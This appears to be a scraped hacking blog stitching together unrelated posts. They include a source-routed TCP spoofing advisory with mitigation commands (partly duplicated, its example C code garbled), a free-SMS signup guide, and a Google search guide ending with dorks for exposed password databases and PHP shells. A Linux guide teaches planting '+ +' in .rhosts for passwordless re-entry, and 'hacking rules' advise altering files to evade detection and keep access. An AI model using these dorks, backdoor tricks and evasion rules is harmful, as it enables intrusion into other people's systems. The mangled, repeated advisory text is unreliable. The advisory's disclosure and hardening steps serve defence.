for (i = 0; i < optsize; ) {
u_char c = optbuf[i];
if (c == IPOPT_LSRR || c == IPOPT_SSRR)
exit(1);
if (c == IPOPT_EOL)
break;
i += (c == IPOPT_NOP) ? 1 : optbuf[i+1];
}
}


One critical concern is in the case where TCP wrappers are being used. If
a user is relying on TCP wrappers, the above fix should be incorporated into
fix_options.c. The problem being that TCP wrappers itself does not close
the connection, however removes the options via setsockopt(). In this case
when control is passed to in.rshd, it will never see any options present,
and the connection will remain open (even if in.rshd has the above patch
incorporated). An option to completely drop source routed connections will
hopefully be provided in the next release of TCP wrappers. The other option
is to undefine KILL_IP_OPTIONS, which appears to be undefined by default.
This passes through IP options and allows the called daemon to handle them
accordingly.


Disabling Source Routing
~~~~~~~~~~~~~~~~~~~~~~~~

We believe the following information to be accurate, however it is not
guaranteed.

--- Cisco

To have the router discard any datagram containing an IP source route option
issue the following command:

no ip source-route

This is a global configuration option.


--- NetBSD

Versions of NetBSD prior to 1.2 did not provide the capability for disabling
source routing. Other versions ship with source routing ENABLED by default.
We do not know of a way to prevent NetBSD from accepting source routed packets.
NetBSD systems, however, can be configured to prevent the forwarding of packets
when acting as a gateway.

To determine whether forwarding of source routed packets is enabled,
issue the following command:

# sysctl net.inet.ip.forwarding
# sysctl net.inet.ip.forwsrcrt

The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.

Forwarding of source routed packets can be turned off via:

# sysctl -w net.inet.ip.forwsrcrt=0

Forwarding of all packets in general can turned off via:

# sysctl -w net.inet.ip.forwarding=0


--- BSD/OS

BSDI has made a patch availible for rshd, rlogind, tcpd and nfsd. This
patch is availible at:

ftp://ftp.bsdi.com/bsdi/patches/patches-2.1

OR via their patches email server

The patch number is
U210-037 (normal version)
D210-037 (domestic version for sites running kerberized version)


BSD/OS 2.1 has source routing disabled by default

Previous versions ship with source routing ENABLED by default. As far as
we know, BSD/OS cannot be configured to drop source routed packets destined
for itself, however can be configured to prevent the forwarding of such
packets when acting as a gateway.

To determine whether forwarding of source routed packets is enabled,
issue the following command:

# sysctl net.inet.ip.forwarding
# sysctl net.inet.ip.forwsrcrt

The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.

Forwarding of source routed packets can be turned off via:

# sysctl -w net.inet.ip.forwsrcrt=0

Forwarding of all packets in general can turned off via:

# sysctl -w net.inet.ip.forwarding=0


--- OpenBSD

Ships with source routing turned off by default. To determine whether source
routing is enabled, the following command can be issued:

# sysctl net.inet.ip.sourceroute

The response will be either 0 or 1, 0 meaning that source routing is off,
and 1 meaning it is on. If source routing has been turned on, turn off via:

# sysctl -w net.inet.ip.sourceroute=0

This will prevent OpenBSD from forwarding and accepting any source routed
packets.


--- FreeBSD

Ships with source routing turned off by default. To determine whether source
routing is enabled, the following command can be issued:

# sysctl net.inet.ip.sourceroute

The response will be either 0 or 1, 0 meaning that source routing is off,
and 1 meaning it is on. If source routing has been turned on, turn off via:

# sysctl -w net.inet.ip.sourceroute=0


--- Linux

Linux by default has source routing disabled in the kernel.


--- Solaris 2.x

Ships with source routing enabled by default. Solaris 2.5.1 is one of the
few commercial operating systems that does have unpredictable sequence
numbers, which does not help in this attack.

We know of no method to prevent Solaris from accepting source routed
connections, however, Solaris systems acting as gateways can be prevented
from forwarding any source routed packets via the following commands:

# ndd -set /dev/ip ip_forward_src_routed 0

You can prevent forwarding of all packets via:

# ndd -set /dev/ip ip_forwarding 0

These commands can be added to /etc/rc2.d/S69inet to take effect at bootup.


--- SunOS 4.x

We know of no method to prevent SunOS from accepting source routed
connections, however a patch is availible to prevent SunOS systems from
forwarding source routed packets.

This patch is availible at:

ftp://ftp.secnet.com/pub/patches/source-routing-patch.tar.gz

To configure SunOS to prevent forwarding of all packets, the following
command can be issued:

# echo "ip_forwarding/w 0" | adb -k -w /vmunix /dev/mem
# echo "ip_forwarding?w 0" | adb -k -w /vmunix /dev/mem

The first command turns off packet forwarding in /dev/mem, the second in
/vmunix.


--- HP-UX

HP-UX does not appear to have options for configuring an HP-UX system to
prevent accepting or forwarding of source routed packets. HP-UX has IP
forwarding turned on by default and should be turned off if acting as a
firewall. To determine whether IP forwarding is currently on, the following
command can be issued:

# adb /hp-ux
ipforwarding?X <- user input
ipforwarding:
ipforwarding: 1
#

A response of 1 indicates IP forwarding is ON, 0 indicates off. HP-UX can
be configured to prevent the forwarding of any packets via the following
commands:

# adb -w /hp-ux /dev/kmem
ipforwarding/W 0
ipforwarding?W 0
^D
#

--- AIX

AIX cannot be configured to discard source routed packets destined for itself,
however can be configured to prevent the forwarding of source routed packets.
IP forwarding and forwarding of source routed packets specifically can be
turned off under AIX via the following commands:

To turn off forwarding of all packets:

# /usr/sbin/no -o ipforwarding=0

To turn off forwarding of source routed packets:

# /usr/sbin/no -o nonlocsrcroute=0

Note that these commands should be added to /etc/rc.net



If shutting off source routing is not possible and you are still using
services which rely on IP address authentication, they should be disabled
immediately (in.rshd, in.rlogind). in.rlogind is safe if .rhosts and
/etc/hosts.equiv are not used.


Attributions
~~~~~~~~~~~~

Thanks to Niels Provos for providing
the information and details of this attack. You can view his web
site at http://www.physnet.uni-hamburg.de/provos

Thanks to Theo de Raadt, the maintainer of OpenBSD for forwarding this
information to us. More information on OpenBSD can be found at
http://www.openbsd.org

Thanks to Keith Bostic for discussion and a quick
solution for BSD/OS.

Thanks to Brad Powell for providing information
for Solaris 2.x and SunOS 4.x operating systems.

Thanks go to CERT and AUSCERT for recommendations in this advisory.

You can contact the author of this advisory at oliver@secnet.com

Read more...

A simple TCP spoofing attack

Over the past few years TCP sequence number prediction attacks have become a
real threat against unprotected networks, taking advantage of the inherent
trust relationships present in many network installations. TCP sequence
number prediction attacks have most commonly been implemented by opening a
series of connections to the target host, and attempting to predict the
sequence number which will be used next. Many operating systems have
therefore attempted to solve this problem by implementing a method of
generating sequence numbers in unpredictable fashions. This method does
not solve the problem.

This advisory introduces an alternative method of obtaining the initial
sequence number from some common trusted services. The attack presented here
does not require the attacker to open multiple connections, or flood a port
on the trusted host to complete the attack. The only requirement is that
source routed packets can be injected into the target network with fake
source addresses.

This advisory assumes that the reader already has an understanding of how
TCP sequence number prediction attacks are implemented.

The impact of this advisory is greatly diminished due to the large number of
organizations which block source routed packets and packets with addresses
inside of their networks. Therefore we present the information as more of
a 'heads up' message for the technically inclined, and to re-iterate that
the randomization of TCP sequence numbers is not an effective solution
against this attack.


Technical Details
~~~~~~~~~~~~~~~~~

The problem occurs when particular network daemons accept connections
with source routing enabled, and proceed to disable any source routing
options on the connection. The connection is allowed to continue, however
the reverse route is no longer used. An example attack can launched against
the in.rshd daemon, which on most systems will retrieve the socket options
via getsockopt() and then turn off any dangerous options via setsockopt().

An example attack follows.

Host A is the trusted host
Host B is the target host
Host C is the attacker

Host C initiates a source routed connection to in.rshd on host B, pretending
to be host A.

Host C spoofing Host A --> Host B in.rshd

Host B receives the initial SYN packet, creates a new PCB (protocol
control block) and associates the route with the PCB. Host B responds,
using the reverse route, sending back a SYN/ACK with the sequence number.

Host C spoofing Host A <-- Host B in.rshd

Host C responds, still spoofing host A, acknowledging the sequence number.
Source routing options are not required on this packet.

Host C spoofing Host A --> Host B in.rshd

We now have an established connection, the accept() call completes, and
control is now passed to the in.rshd daemon. The daemon now does IP
options checking and determines that we have initiated a source routed
connection. The daemon now turns off this option, and any packets sent
thereafter will be sent to the real host A, no longer using the reverse
route which we have specified. Normally this would be safe, however the
attacking host now knows what the next sequence number will be. Knowing
this sequence number, we can now send a spoofed packet without the source
routing options enabled, pretending to originate from Host A, and our
command will be executed.

In some conditions the flooding of a port on the real host A is required
if larger ammounts of data are sent, to prevent the real host A from
responding with an RST. This is not required in most cases when performing
this attack against in.rshd due to the small ammount of data transmitted.

It should be noted that the sequence number is obtained before accept()
has returned and that this cannot be prevented without turning off source
routing in the kernel.

As a side note, we're very lucky that TCP only associates a source route with
a PCB when the initial SYN is received. If it accepted and changed the ip
options at any point during a connection, more exotic attacks may be possible.
These could include hijacking connections across the internet without playing
a man in the middle attack and being able to bypass IP options checking
imposed by daemons using getsockopt(). Luckily *BSD based TCP/IP stacks will
not do this, however it would be interesting to examine other implementations.

Impact
~~~~~~

The impact of this attack is similar to the more complex TCP sequence
number prediction attack, yet it involves fewer steps, and does not require
us to 'guess' the sequence number. This allows an attacker to execute
arbitrary commands as root, depending on the configuration of the target
system. It is required that trust is present here, as an example, the use
of .rhosts or hosts.equiv files.


Solutions
~~~~~~~~~

The ideal solution to this problem is to have any services which rely on
IP based authentication drop the connection completely when initially
detecting that source routed options are present. Network administrators
and users can take precautions to prevent users outside of their network
from taking advantage of this problem. The solutions are hopefully already
either implemented or being implemented.

1. Block any source routed connections into your networks
2. Block any packets with internal based address from entering your network.

Network administrators should be aware that these attacks can easily be
launched from behind filtering routers and firewalls. Internet service
providers and corporations should ensure that internal users cannot launch
the described attacks. The precautions suggested above should be implemented
to protect internal networks.

Example code to correctly process source routed packets is presented here
as an example. Please let us know if there are any problems with it.
This code has been tested on BSD based operating systems.

u_char optbuf[BUFSIZ/3];
int optsize = sizeof(optbuf), ipproto, i;
struct protoent *ip;

if ((ip = getprotobyname("ip")) != NULL)
ipproto = ip->p_proto;
else
ipproto = IPPROTO_IP;
if (!getsockopt(0, ipproto, IP_OPTIONS, (char *)optbuf, &optsize) &&
optsize != 0) {
for (i = 0; i < c =" optbuf[i];" c ="="" c ="="" c ="="" c ="="" forwsrcrt="0" forwarding="0" com="">

The patch number is
U210-037 (normal version)
D210-037 (domestic version for sites running kerberized version)


BSD/OS 2.1 has source routing disabled by default

Previous versions ship with source routing ENABLED by default. As far as
we know, BSD/OS cannot be configured to drop source routed packets destined
for itself, however can be configured to prevent the forwarding of such
packets when acting as a gateway.

To determine whether forwarding of source routed packets is enabled,
issue the following command:

# sysctl net.inet.ip.forwarding
# sysctl net.inet.ip.forwsrcrt

The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.

Forwarding of source routed packets can be turned off via:

# sysctl -w net.inet.ip.forwsrcrt=0

Forwarding of all packets in general can turned off via:

# sysctl -w net.inet.ip.forwarding=0


--- OpenBSD

Ships with source routing turned off by default. To determine whether source
routing is enabled, the following command can be issued:

# sysctl net.inet.ip.sourceroute

The response will be either 0 or 1, 0 meaning that source routing is off,
and 1 meaning it is on. If source routing has been turned on, turn off via:

# sysctl -w net.inet.ip.sourceroute=0

This will prevent OpenBSD from forwarding and accepting any source routed
packets.


--- FreeBSD

Ships with source routing turned off by default. To determine whether source
routing is enabled, the following command can be issued:

# sysctl net.inet.ip.sourceroute

The response will be either 0 or 1, 0 meaning that source routing is off,
and 1 meaning it is on. If source routing has been turned on, turn off via:

# sysctl -w net.inet.ip.sourceroute=0


--- Linux

Linux by default has source routing disabled in the kernel.


--- Solaris 2.x

Ships with source routing enabled by default. Solaris 2.5.1 is one of the
few commercial operating systems that does have unpredictable sequence
numbers, which does not help in this attack.

We know of no method to prevent Solaris from accepting source routed
connections, however, Solaris systems acting as gateways can be prevented
from forwarding any source routed packets via the following commands:

# ndd -set /dev/ip ip_forward_src_routed 0

You can prevent forwarding of all packets via:

# ndd -set /dev/ip ip_forwarding 0

These commands can be added to /etc/rc2.d/S69inet to take effect at bootup.


--- SunOS 4.x

We know of no method to prevent SunOS from accepting source routed
connections, however a patch is availible to prevent SunOS systems from
forwarding source routed packets.

This patch is availible at:

ftp://ftp.secnet.com/pub/patches/source-routing-patch.tar.gz

To configure SunOS to prevent forwarding of all packets, the following
command can be issued:

# echo "ip_forwarding/w 0" | adb -k -w /vmunix /dev/mem
# echo "ip_forwarding?w 0" | adb -k -w /vmunix /dev/mem

The first command turns off packet forwarding in /dev/mem, the second in
/vmunix.


--- HP-UX

HP-UX does not appear to have options for configuring an HP-UX system to
prevent accepting or forwarding of source routed packets. HP-UX has IP
forwarding turned on by default and should be turned off if acting as a
firewall. To determine whether IP forwarding is currently on, the following
command can be issued:

# adb /hp-ux
ipforwarding?X <- user input ipforwarding: ipforwarding: 1 # A response of 1 indicates IP forwarding is ON, 0 indicates off. HP-UX can be configured to prevent the forwarding of any packets via the following commands: # adb -w /hp-ux /dev/kmem ipforwarding/W 0 ipforwarding?W 0 ^D # --- AIX AIX cannot be configured to discard source routed packets destined for itself, however can be configured to prevent the forwarding of source routed packets. IP forwarding and forwarding of source routed packets specifically can be turned off under AIX via the following commands: To turn off forwarding of all packets: # /usr/sbin/no -o ipforwarding=0 To turn off forwarding of source routed packets: # /usr/sbin/no -o nonlocsrcroute=0 Note that these commands should be added to /etc/rc.net If shutting off source routing is not possible and you are still using services which rely on IP address authentication, they should be disabled immediately (in.rshd, in.rlogind). in.rlogind is safe if .rhosts and /etc/hosts.equiv are not used. Attributions ~~~~~~~~~~~~ Thanks to Niels Provos for providing
the information and details of this attack. You can view his web
site at http://www.physnet.uni-hamburg.de/provos

Thanks to Theo de Raadt, the maintainer of OpenBSD for forwarding this
information to us. More information on OpenBSD can be found at
http://www.openbsd.org

Thanks to Keith Bostic for discussion and a quick
solution for BSD/OS.

Thanks to Brad Powell for providing information
for Solaris 2.x and SunOS 4.x operating systems.

Thanks go to CERT and AUSCERT for recommendations in this advisory.

You can contact the author of this advisory at oliver@secnet.com

Read more...

free sms

* Open http://thesmszone.com
* After http://thesmszone.com/ page opens, click on Register Now link.
* Fill-² data requested is particularly marked (*) are required.
* For you who live in Indonesia, the data Mobile Phone start with the number 62 .... for example, your number 08123456789, the writing becomes 628123456789.
* 5. Check the box ... I have read and I am at least 13 years of age.7. TheSMSzone.com will then send the activation code to your phone, wait a moment.
* Once you receive the activation code, open the back http://www.thesmszone.com/ login with your username and password, then click Active your account here.
* To try your free sms, click on the Send SMS

Read more...

learn hacking google

- Use Basic ----------------

- Google does not "case sensitive".
Keyword: linux = = LiNuX LINUX
Will produce the same

- AND: The Default use Google and keyword.
Keyword: a hacker
Search results will contain the word "to" and "hacker"

- OR: Used to find pages that contain at least one
one of the keyword. Note: OR written with all capital letters.
Keyword: hacker OR c ** c * er
Search results will contain the word "hacker" or "c ** c * er"

- +: Google will ignore the search with words such as general
"How" and "where". If the words of this very important public, you
can add a "+" in front of the keyword.
Keyword: how hackers ==> The "how" will be ignored
Keyword: how hackers + ==> The "how" will be included

- -: Sign of the minus "-" can be used to exclude words
particular in the search. For example we want to find words
"Linus without linux", we can use the "Linus-linux"

- *: Google does not support the search * as a replacement letter.
Suppose we want to explore with future menja *
Google does not find the word "guest", "become", "creep", etc.
Google search will yield only to a word
"Menja".

But google support * in the search expression.
Keyword: "* a hacker"
Search results can lead to "be a hacker,"
"A white hacker", etc..

- "": It can be used to search for a full term.
Keyword: "a hacker"
Search results will contain the words "a hacker"

-?: Can be used to search the Google directory
Keyword:? Intitle: index.of? mp3

- Special Plans ----------------

- Example of search results --

Google -> Title
... Language Tools. Ways to help with tsunami relief \
Advertising Programs - About Google © 2005 Google -> Description
Searching 8,058,044,651 web pages. /
www.google.com/ - 3k - 5 Jan 2005 -> URL

- Example of search results --

- Intitle: To search for words from the title of a web page.
Keyword: intitle: Admin Administration
Keyword search for the title will be the "Admin" with the
description "Administration"

- Allintitle: To search for words from the title of web pages
the full.
Keyword: allintitle: Admin Administration
Keyword will find pages that contain the title
the word "Admin" and "Administration"

- Inurl: Used to search for all URLs that contain the words
certain.
Keyword: inurl: Admin Administration
Keyword will find a URL that contains the word "Admin"
with the description "Administration"

- Allinurl: Used to search for all URLs that contain the words
certain.
Keyword: allinurl: Admin Administration
Keyword search will be a URL that contains the word "Admin"
and "Administration"

- Site: To find a site in a particular course
Keyword: site: binushacker.net
All the search only on site "binushacker.net"

- Cache: When Googlebot from indexing a site, google will
take a snapshot of all the pages that have been indexed.
This helps operators see the pages that have been
dicache.
Keyword: cache: binushacker.net
Suppose the original site is no longer active, you can still view it
the snapshot / cache stored by Google.

- Define: Plans are used to find the definition of the phrase
certain. All said that a service will be after
treated as a phrase.
Keyword: define: hacker

- Filetype: If we find a certain type of file that contains information
you want we can use this service.
Keyword: "hacker" filetype: pdf
Until this paper made google file type support
# Adobe Portable Document Format (pdf)
# Adobe PostScript (ps)
# Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)
# Lotus WordPro (lwp)
# MacWrite (mw)
# Microsoft Excel (xls)
# Microsoft PowerPoint (ppt)
# Microsoft Word (doc)
# Microsoft Works (wks, wps, wdb)
# Microsoft Write (wri)
# Rich Text Format (rtf)
# Shockwave Flash (swf)
# Text (ans, txt)
Ref: http://www.google.com/help/faq_filetypes.html

- Link: To find out how many links to a site, we can
use the service link.
Keyword: link: www.google.com

- Related: To explore the contents page is similar to a specific URL.
Keyword: related: www.google.com

- Google URL Manipulation --------------

> And can replace google interface with the variable hl
(default google hl = en => English)
Suppose we change the interface into its language.
Ex:
http://www.google.com/search?hl=en&lr=&q=site% 3Abinushacker.net & btnG = Search
Results URL modifications
http://www.google.com/search?hl=id&lr=&q=site% 3Abinushacker.net & btnG = Search

You can change the search results only in a specific language. This
done with variable modifications lr.
(default google lr = lang_en => English)
Suppose our search results only English.
Ex:
http://www.google.com/search?hl=en&lr=&q=site% 3Abinushacker.net & btnG = Search
Results URL modifications
http://www.google.com/search?hl=en&lr=lang_id&q=site% 3Abinushacker.net & btnG = Search

> By default Google will display 10 site perhalaman. You can
change it directly through the URL, with the added variables
num in the URL
Use num between 1-100
Ex:
http://www.google.com/search?hl=en&lr=&q=site% 3Abinushacker.net & btnG = Search
Results URL modifications
http://www.google.com/search?num=100&hl=en&lr=&q=site% 3Abinushacker.net & btnG = Search

> As_qdr = mx: are other variables that can be used. This variable
used determine the month based on the results. x between 1-12
Ex:
http://www.google.com/search?hl=en&lr=&q=site% 3Abinushacker.net & btnG = Search
Results URL modifications
http://www.google.com/search?hl=en&lr=&as_qdr=m1&q=site% 3Abinushacker.net & btnG = Search

> Safe = off: the meaning of this variable filter "SafeSearch" turned off. "SafeSearch"
to filter search results sexual.

With the knowledge you can create your own computer in the form Google
alone. So it does not need to visit http://www.google.com
first (unless you use google brwoser that support the built-in
or use the Google Toolbar). By doing this we can save
bandwidth to overseas
Because of bandwidth in Indonesia expensive ... ... ..

Sample script google.html with varabielnya.

- BOF google.html --


Variable num:

Variable hl:

Variable lr:

Variable as_qdr:

Variable safe:






- Google.html EOF --

You live a variable that you do not want or
add anything there. Overall it's up to you
Here is the script default google search.

- BOF google.html --







- Google.html EOF --

Google still continues to be developed. To see what the
Google developed. You can to http://labs.google.com

- Tips & Tricks -----------------

From basic and special service is you can mix
in-service operator.

Ex:
- Keyword: site: binushacker.net, produce all binushacker.net site. Then
you can try keyword: site: binushacker.net hackers, will produce
all binushacker.net site that contains the word hacker.

We are also able to search specifically through google.
To do this you can to the site below:
- Http://www.google.com/bsd
- Http://www.google.com/mac
- Http://www.google.com/linux
- Http://www.google.com/microsoft
- Http://www.google.com/univ/education

Various tricks on the Google keyword:
parent directory books-xxx-html-htm-php-shtml-opendivx-md5-md5sums
parent directory / appz /-xxx-html-htm-php-shtml-opendivx-md5-md5sums
parent directory DVDRip-xxx-html-htm-php-shtml-opendivx-md5-md5sums
parent directory video-xxx-html-htm-php-shtml-opendivx-md5-md5sums
parent directory Gamez-xxx-html-htm-php-shtml-opendivx-md5-md5sums
parent directory MP3-xxx-html-htm-php-shtml-opendivx-md5-md5sums

intitle: index of intitle: mp3-html-htm name size
intitle: index of intitle: video-html-htm name size
intitle: index of intitle: cgi-bin passwd-html-htm name size
intitle: index of intitle: cgi-bin password-html-htm name size

inurl: "admin.mdb"-html
inurl: "password.mdb"-html
inurl: "data.mdb"-html
"PhpMyAdmin" "running on" inurl: "main.php"
intitle: "PHP Shell" "Enable stderr" php

Read more...

Installing & Hacking From Linux

All you people that thought you were good hackers, because you could fool
dumb sysadmins, and do a bit of social engineering, or hack something by
following someones carefully prepared text file. Well you're about to get
fucked if you read this text file you will find out that you are a hacker
but, the only thing you can do is use someone elses ideas. So with that in
mind here goes.
I wrote this text file because i know a lot of people who could
benefit from learning to use linux, especially when hacking.
First of all you need to get linux installed on your system so goto
http://www.redhat.com I would suggest you invest $40 in buying the newest
version of RedHat linux this way you will get all the files you want/need
on one cd. If you have a problem with paying that price, then contact me
and i will ship you a copy for half that price, yes only $20! If you are
really cheap (like me :-) you could try and download it, i have gotten it
to work before but it's really not worth the wait, i spent a total download
time of about 3 days to download all the files i wanted, and if one of the
files dosn't work, well you're pretty much fucked. Whatever you decide to
do, weather it's purchasing a copy from me or from redhat.com, or being
cheap :-) and downloading it, you should read the linux documentation
project especially the installation part, it will save you hours of worry.
I will touch down very briefly on what you have to do to install linux, but
not nearly enough for you to understand the installation. Many people will
tell you not to buy RedHat products because they're full of bugs, this is
true, and I couldn't agree more, but the bugs are present if you're trying
to hack teh box, so in this case just get RedHat Linux, since it's by far
the most user friendly and the easiest to install. On the other hand if you
are intending to run a sophisticated webserver do NOT get redhat, get
something like slackware, or debian linux.
If you are planning to use linux to access the net etc... you will
need to read the FAQ on compatability at http://www.redhat.com, i currently
don't know of any distribution of linux that supports winmodem or any other
type of modem that uses windows software to speed it up, these modems are
generally those yukky U.S robotics modems.
From now on I'm assuming you either purchased RedHat linux from me
or from RedHat. O.K lets get started, you will need to partition your
harddrive, to do this goto dos and type in fdisk choose no. 4 to view current
partitions. If you have one large partition that fills your whole harddrive
just reserved for windows then once again you're fucked. You need to back up
all your shit, before performing the steps below. Once everything is backed
up go to dos yet again and type 8in fdisk, now you need to delete your
current partition and set a new primary partition the primary partition
should not fill your whole harddrive, leave as much space as you want
unpartitioned, this unpartitioned space is what you're going to be putting
linux on. So now thats done restore your old windows shit and make sure
everything is working nice and dandy. Now pop in your redhat cd in your
cd-rom drive, and reboot your system. Follow the instructions until you
get to a screen that asks if you wish to use fdisk or disk druid to partition
your harddrive, just choose disk druid, now you need to set up a native linux
partition i recommdn 500 megs, but if you wanna be fancy put about 800 megs.
Now after you have assighned a native linux partition and labeled it / Then
you need to assighn swap space, assighn as much as you see fit mine is about
55 megs. It is also a good idea to label your dos partition i label mine
/dos this is so i can access files in my dos partition while using linux.
Once that is done click on OK and save the partition tables, when you get to
the place where you choose what to install. If you have a partition thats
more than 600 MB then choose the install everything option at the bottom of
the list, if your partition is below 600 MB, then choose everything on the
list except the install everything option. If by some chance you just want
a very basic setup, this is what i used to run, just choose x-windows, DNS
Nameserver, Dial-UP workstation,c++ development, and c development. This
will give you everything youneed to compile programs in ,linux, connect to
your ISP, run x-windows etc....
X-Windows is a graphical interface for linux it's very very nice
it's kinda like windows 95 but it dosn't suck as much, by the way I will be
refeering to windows 95 as winblows, for obvious reasons :-).
Once everything is installed, it will tr to sonfigure x-windows for
you, this is where it actually helps if you know every little chip in your
system, if you don't well tehn just guess, but whatever you do don't install
Metro-X, just install XFree86 x-server it's better, well after all that shit
you will need to install LILO, LILO is a boot manager it allows you to boot
into dos, linux and whatever other O/S's you may have lying around in yuor
system, once all that is set up, you will be asked if you wish to install a
printer or not, figure that part out yourself, it's pretty straight forward,
so I'm not gonna waste my time. I wouldn't recommend configuring a LAN
unless you know your shit about linux.
So once setup is finished , your system will reboot. WOA you just
installed linux and you're still alive it's amazing isn't it. So now you
should be faced with a prompt that says LILO Boot:
you can now press tab for options this will show which operating systems you
can boot into. You should ahve the following two choices dos and linux, now
since this text file covers linux you would want to boot into linux so at
the LILO prompt type in linux or simply press return, since linux is your
default operating system. Now you should see a bunch of services starting,
this indicates that linux is loading.
When you reach the login prompt type in root and use the password
you specefied for the setup program earlier. Finally you have redhat linux
installed on your system, and hopefully you're still alive, you're still
with me RIGHT!!!!! O.K so you have logged in as root, first thing you want
to do us shadow your password file I always do thsi because then at least i
know a little clueless newbie could never get in my system, to do this type
in pwconv. Well thats all you have to do, to me it's a shock that there are
so many unshadowed systems on the net when it's so easy to shadow the
password file, but i guess ignorance is the satan of all god's people. Well
i guess you're like dying to show your friends how k-rad and elite you are,
so I guess well better geton to setting up linux to use the net, in other
words to dial out to your ISP. O.K heres how you do it. When you're at the
prompt type in startx this will start up x-windows. Once x-windows is
started, you should see an interface much like windows 95, to the left
should be a box named control panel, in the center you should see a window
named local-host, this is simply the rootshell just like the one you get
when you login. Now to get the modem set up, in the control panel there
should be a lot of small icons, goto the 6th one down (modem configuration)
choose what com port your modem is on, if you dont know choose SOM 1 it
seems to be the default in most computers in gateways i do believe it's
COM 2, once thats done, goto the 5th icon down in the control panel
(network configuration)and click it, now choose interfaces then goto add,
choose ppp as your interface type. Put in your ISP's phone number, and
your login and password. Then choose customize, click on networking and
click on activate interface at boot time, once this is done goto done and
choose to save the configuration. Well thats it simply reboot by typing in
reboot and listen to your sweet modem's music.
Now that you're connected to your ISP let's go do some surfing, once
you're in x-windows, goto start/applications and click on Netscape Navigator.
Visit http://www.rootshell.com and run a search for scan, once you're
confronted with the search results, go down and find the file named
xenolith.tgz download that file. This is a neat little scanner that scans
sites for volunerabilities, and I'm basiacly gonna give you a lesson in
uncompressing files in linux. Once the file is downloaded goto the dir in
which it resides. Since it's a .tgz file we would uncompress it using the
following method. Type in gunzip -d xenolith.tgz this will give you
xenolith.tar then type in gzip xenolith.tgz this gives you xenolith.tar.gz
then type in zcat xenolith.tar.gz | tar xvf - . This will give you a dir
called xenolith just cd xenolith and read the README files for installation
instructions. I just thought i would include something on uncompressing
files because many people ask me for help on the topic.
Well I'm getting to the place where I have to think about what i
want to put in this text file, well here's something I will include, a
section with some useful command, so here goes. To shutdown your computer
type in shutdown -h now (your message) to reboot simply type reboot. To
compile use gcc filename.c -o filename. To talk to a user type in write
username then on the next line write your message, if you don't want people
to send you messages type in mesg n. Well i sure hop this guide helped you
through getting linux installed if you want to read books on linux and
you're cheap like me goto http://www.mcp.com and sighn up for their personal
bookshelf, and get reading tons of books for free, it's a hackers dream and
all time paradise.
Now just as you thought it was over I'm gonna show you a few hacking
tricks from linux not really how to hack just some useful commands, so here
goes. To telnet to a site type in telnet www.victim.com ,to telnet toa
site on a specific port type in telnet www.victim.com portnumbe. Let's say
i wanted to telnet to port 25 i would type in telnet www.victim.com 25 .
To FTP to a machine type in ftp www.victim.com. To rlogin to a machine,
many of you proably dont know what the hell im talking about so let me
explain. If you place a file called .rhosts in someones home directory and
that file has two plusses like this + + in it you can use the rlogin command
to log into the system using that account without a password. Ring a bell
in your mind? filling with fresh ideas. I use this method whenever I geta
shell account, it assures me that if they by any chance change the passowrd
I can always rlogin into the system assuming that the account has a .rhosts
file in it and the file contains + + then you're in good shape. Assume the
username of the account is lamer. So inorder to rlogin into lamer's account
we would do the follwoing. Type in rlogin www.victim.com -l lamer . This
will telnet us directly into lamer's account where we can start rooting the
system.
Well my hand hurts from typing too much, so I'm gonna stop typing,
please if you have any questions, suggestions, or comments, e-mail them to
ameister@vol.com. Also i nee some suggestions on what to write text files
about so please e-mail me, it would be greatly appreciated. Me and some
friends are going to be making a magazine with lots of text files and other
interesting hacking material, if you would like a copy e-mail me for more
info, the price should be no mroe than $4 Shipping & Handling included.
http://www.vol.com/~ameister

Read more...

Hacker's Manifesto

Hacker's Manifesto




"This is our world now...the world of the electron and the switch, the beauty of the baud.
We make use of a service already existing without paying for what could be dirt cheep if it
wasn't run by profiteering gluttons, and you call us criminals. We explore...and you call us
criminals. We exist without skin color, without nationality, without religious bias...and you
call us criminals. You build atomic bombs, wage wars, murder, cheat, and lie to us and try to
make us believe it is for our own good, yet we're the criminals.
Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by
what they say and think, not what they look like. My crime is that of outsmarting you, something
that you will never forgive me for. I am a hacker and this is my manifesto. You may stop this
individual, but you can't stop us all...after all, we're all alike."

Read more...

Why hack?

Why hack?

As said above, we hack to gain knowledge about systems and the
way they work. We do NOT want to damage systems in any way. If you do
damage a system, you WILL get caught. But, if you don't damage
anything, it is very unlikely that you will be noticed, let alone be
tracked down and arrested, which costs a considerable amount of time
and money.
Beginners should read all the files that they can get their
hands on about anything even remotely related to hacking and phreaking,
BEFORE they start hacking. I know it sounds stupid and boring but it
will definetly pay off in the future. The more you read about hacking
and phreaking, the more unlikely it is that you will get caught. Some
of the most useless pieces of information that you read could turn out
to be the most helpful. That is why you need to read everything
possible.


Hacking rules


1. Never damage any system. This will only get you into trouble.

2. Never alter any of the systems files, except for those needed to
insure that you are not detected, and those to insure that you have
access into that computer in the future.

3. Do not share any information about your hacking projects with
anyone but those you'd trust with your life.

4. When posting on BBS's (Bulletin Board Systems) be as vague as
possible when describing your current hacking projects. BBS's CAN
be monitered by law enforcement.

5. Never use anyone's real name or real phone number when posting
on a BBS.

6. Never leave your handle on any systems that you hack in to.

7. DO NOT hack government computers.

8. Never speak about hacking projects over your home telephone line.

9. Be paranoid. Keep all of your hacking materials in a safe place.

10. To become a real hacker, you have to hack. You can't just sit
around reading text files and hanging out on BBS's. This is not what
hacking is all about.

Read more...

What is hacking?

What is hacking?




Hacking is the act of penetrating computer systems to gain  knowledge about the system and how it works. Hacking is illegal because we demand free access to ALL data, and we get it. This pisses people off and we are outcasted from society, and in order to stay out of prison, we must keep our status of being a hacker/phreaker a secret. We can't discuss our findings with anyone but other members of the hacking/phreaking community for fear of being punished. We are punished for wanting to learn. Why is the government spending huge amounts of time and money to arrest hackers when there are other much more dangerous people out there. It is the murderers, rapists, terrorists, kidnappers, and burglers who should be punished for what they have done, not hackers. We do NOT pose a threat to anyone. We are NOT out to hurt people or there computers. I admit that there are some people out there who call themselves hackers and who deliberately damage computers. But these people are criminals, NOT hackers. I don't care what the government says, we are NOT criminals. We are NOT trying to alter or damage any system. This is widely misunderstood. Maybe one day people will believe us when we say that all we want is to learn.
There are only two ways to get rid of hackers and phreakers.
